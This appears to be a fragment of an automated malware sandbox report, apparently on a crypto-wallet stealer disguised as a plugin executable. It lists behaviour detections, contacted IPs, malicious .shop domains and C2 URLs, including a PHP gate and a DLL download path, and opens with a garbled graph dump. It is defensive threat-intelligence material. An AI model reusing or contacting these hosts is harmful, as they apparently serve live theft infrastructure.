started        file14 signatures15 process16 dnsIp17 137 65.21.18.51, 45580, 49719 CP-ASDE United States 58->137 213 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 58->213 215 Found many strings related to Crypto-Wallets (likely being stolen) 58->215 217 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 58->217 219 Tries to steal Crypto Currency Wallets 58->219 69 C:\...Book JS Plugin 9.26.47.exe, PE32 64->69 dropped file18 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.202.233.158
 unknown Russian Federation
9009 M247GB true
194.116.215.195
 unknown unknown
44676 VMAGE-ASRU false
185.215.113.26
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.67
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.186.174
 google.com United States
15169 GOOGLEUS false
104.21.2.13
 ballotnwu.site United States
13335 CLOUDFLARENETUS true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.17
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
95.179.250.45
 unknown Netherlands
20473 AS-CHOOPAUS true
172.67.208.139
 reinforcenh.shop United States
13335 CLOUDFLARENETUS true
104.21.4.136
 gutterydhowi.shop United States
13335 CLOUDFLARENETUS true
172.67.162.108
 drawzhotdog.shop United States
13335 CLOUDFLARENETUS true
188.114.97.3
 fragnantbui.shop European Union
13335 CLOUDFLARENETUS true
65.21.18.51
 unknown United States
199592 CP-ASDE true
188.114.96.3
 offensivedzvju.shop European Union
13335 CLOUDFLARENETUS true
176.113.115.95
 unknown Russian Federation
49505 SELECTELRU false
89.105.223.196
 unknown Netherlands
21159 NOVOSERVE-GMBH-ASFrankfurtGermanyNL true
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS false
185.215.113.117
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
185.215.113.103
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
fragnantbui.shop 188.114.97.3 true
gutterydhowi.shop 104.21.4.136 true
google.com 142.250.186.174 true
offensivedzvju.shop 188.114.96.3 true
drawzhotdog.shop 172.67.162.108 true
ghostreedmnu.shop 188.114.97.3 true
ballotnwu.site 104.21.2.13 true
youtube.com 142.250.181.238 true
youtube-ui.l.google.com 216.58.212.174 true
steamcommunity.com 104.102.49.254 true
stogeneratmns.shop 188.114.96.3 true
reinforcenh.shop 172.67.208.139 true
www.google.com 216.58.206.68 true
vozmeatillu.shop 188.114.96.3 true
www.youtube.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
lootebarrkeyn.shop true
  • 16%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
stogeneratmns.shop true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/ true
  • 20%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://reinforcenh.shop/api true
  • 16%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://91.202.233.158/e96ea2db21fa9a1b.php true
  • 22%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://steamcommunity.com/profiles/76561199724331900 true
  • URL Reputation: malware
 unknown
fragnantbui.shop true
  • Avira URL Cloud: malware
 unknown
offensivedzvju.shop true
  • Avira URL Cloud: malware
 unknown
188.190.10.161 true
  • Avira URL Cloud: safe
 unknown
http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll true
  • Avira URL Cloud: malware
 unknown